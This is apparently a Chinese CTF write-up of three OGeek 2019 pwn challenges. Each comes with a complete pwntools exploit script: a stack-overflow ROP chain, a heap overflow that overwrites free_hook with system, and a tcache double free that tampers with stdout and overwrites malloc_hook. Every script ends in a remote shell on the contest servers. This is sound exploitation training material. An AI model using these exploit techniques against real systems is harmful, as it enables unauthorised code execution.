ogeek2019_pwn

太菜了,只做出了3道pwn

babyrop

  • 利用’\x00’绕过strlen的检查,然后栈溢出rop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = 'debug'

#p = process('./babyrop')
p = remote('47.112.137.238',13337)
elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')

#gdb.attach(p,'b *0x8048824')

payload = '\x00' + '\xff'*20
p.sendline(payload)

pop_ebx_ret = 0x08048519
puts_plt = elf.plt['puts']
write_got = elf.got['write']
main_addr = 0x08048825
payload = 'a'*0xe7 + p32(0xdeadbeef) + p32(puts_plt) + p32(pop_ebx_ret) + p32(write_got)
payload += p32(main_addr)
p.sendline(payload)
p.recvuntil('Correct\n')
write_addr = u32(p.recv(4))
info('write_addr : 0x%x'%write_addr)
# offset_write = 0x000d5b70
# offset_system = 0x0003ada0
# offset_str_bin_sh = 0x15ba0b
offset_write = 0x000d43c0
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b
libc_base = write_addr - offset_write
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh

payload = '\x00' + '\xff'*20
p.sendline(payload)

payload = 'a'*(0xf5-10) + p32(system_addr) + p32(pop_ebx_ret) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

bookmanager

  • 程序本身leak堆地址,update和new text的时候有堆溢出,利用堆溢出修改堆上指向text的指针来leak,然后利用类似手法来改free_hook为system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#coding:utf-8
from pwn import *
context.log_level = 'debug'

#p = process('./bookmanager')
p = remote('47.112.115.30',13337)

def sd(x):
p.send(x)

def sl(x):
p.sendline(x)

def ru(x):
p.recvuntil(x)

def add_chapter(chap_name):
ru('choice:')
sl('1')
ru('name:')
sl(chap_name)

def add_section(chap_name,section_name):
ru('choice:')
sl('2')
ru('add into:')
sl(chap_name)
ru('0x')
leak_heap = int(p.recvuntil('\n',drop=True),16)
ru(' name:')
sl(section_name)
return leak_heap

def add_text(section_name,text,text_size):
ru('choice:')
sl('3')
ru('add into:')
sl(section_name)
ru('write:')
sl(str(text_size))
ru('Text:')
sl(text)

def remove_chapter(chap_name):
ru('choice:')
sl('4')
ru(' name:')
sl(chap_name)

def remove_section(section_name):
ru('choice:')
sl('5')
ru(' name:')
sl(section_name)

def remove_text(section_name):
ru('choice:')
sl('6')
ru(' name:')
sl(section_name)

def book_preview():
ru('choice:')
sl('7')

def updata_text(section_name,text):
ru('choice:')
sl('8')
ru('ection/Text):')
sl('Text')
ru(' name:')
sl(section_name)
ru('Text:')
sd(text)

ru('create: ')
sl('d4rk3r')

add_chapter('a')
add_section('a','b1')
add_text('b1','c1',0x20)

leak_heap = add_section('a','b2')
info('leak heap : 0x%x'%leak_heap)
add_text('b2','c2',0x80)
add_section('a','b3')
#remove_section('b2')
remove_text('b2')
remove_section('b1')
add_section('a','b1')
payload = 'a'*80 + p64(leak_heap+0x40) + '\n'
#破坏了b2_section结构体
add_text('b1',payload,0x20)
book_preview()
ru('Text:')
ru('Text:')
main_arena_88 = u64(p.recv(6).ljust(8,'\x00'))
info('main_arena+88 : 0x%x'%main_arena_88)
libc_base = main_arena_88 - 88 - 0x3c4b20
info('libc_base addr:0x%x'%libc_base)
free_hook = libc_base + 0x3c67a8
system_addr = libc_base + 0x45390
add_text('b3','c3',0x80)

add_section('a','b4')
add_text('b4','c4',0x20)
add_section('a','b5')
add_text('b5','c5',0x20)
payload = '/bin/sh\x00' + p64(0)*4 + p64(0x41) + p64(0x0000000000003562)
payload += p64(0)*3 + p64(free_hook) + p64(0x20)
updata_text('b4',payload)
updata_text('b5',p64(system_addr))
remove_text('b4')

#gdb.attach(p)
p.interactive()

Hub

  • 环境为18.04,所以有tcache,通过double free不断改fd分配一个chunk到stdout处,
    然后覆盖掉IO_FILE结构体_IO_write_base的低字节,并
    使其在下次puts时输出我们修改后的_IO_write_base到_IO_write_ptr/_IO_write_end的数据
    以此leak libc(同时需要更改flags来绕过检测),利用相同手法改malloc_hook为one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
context.log_level = 'debug'

#p = process('./hub')
p = remote('47.112.139.218',13132)

def sl(x):
p.sendline(x)

def ru(x):
p.recvuntil(x)

def sd(x):
p.send(x)


def malloc(size):
ru('>>')
sl('1')
ru('stay?\n')
sl(str(size))

def free(index):
ru('>>')
sl('2')
ru('want?\n')
sl(str(index))

def write(data):
ru('>>')
sl('3')
ru(' want?')
sd(data)

def m2(size):
sl('1')
ru('stay?\n')
sl(str(size))

def f2(index):
sl('2')
ru('want?\n')
sl(str(index))

def w2(data):
sl('3')
ru(' want?')
sd(data)

#change _IO_2_1_stdout_._flags
malloc(0x70)
malloc(0x70)
malloc(0x70)
free(-0x80)
free(-0x80)
malloc(0x70)
write(p64(0x602020))
malloc(0x70)
malloc(0x70)
malloc(0x70)
write(p64(0xfbad1887))

#change stdout -> _IO_write_base
malloc(0x10)
free(0)
free(0)
malloc(0x10)
write(p64(0x602020))
malloc(0x10)
malloc(0x10)
write('\x80')

#change _IO_write_base 1 bit -> '\x00', leak libc
m2(0x20)
f2(0)
f2(0)
m2(0x20)
w2(p64(0x602020))
m2(0x20)
m2(0x20)
m2(0x20)
w2('\x00')

ru('\x00'*8)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
info('leak_addr : 0x%x'%leak_addr)
libc_base = leak_addr - 0x3ed8b0
info('leak_addr : 0x%x'%libc_base)
malloc_hook = libc_base + 0x3ebc30
one_gadget = libc_base + 0x10a38c

#change __malloc_hook -> one_gadget
m2(0x30)
f2(0)
f2(0)
m2(0x30)
w2(p64(malloc_hook))
m2(0x30)
m2(0x30)
w2(p64(one_gadget))

sl('1')
ru(' stay?\n')
sl('1')
#gdb.attach(p)

p.interactive()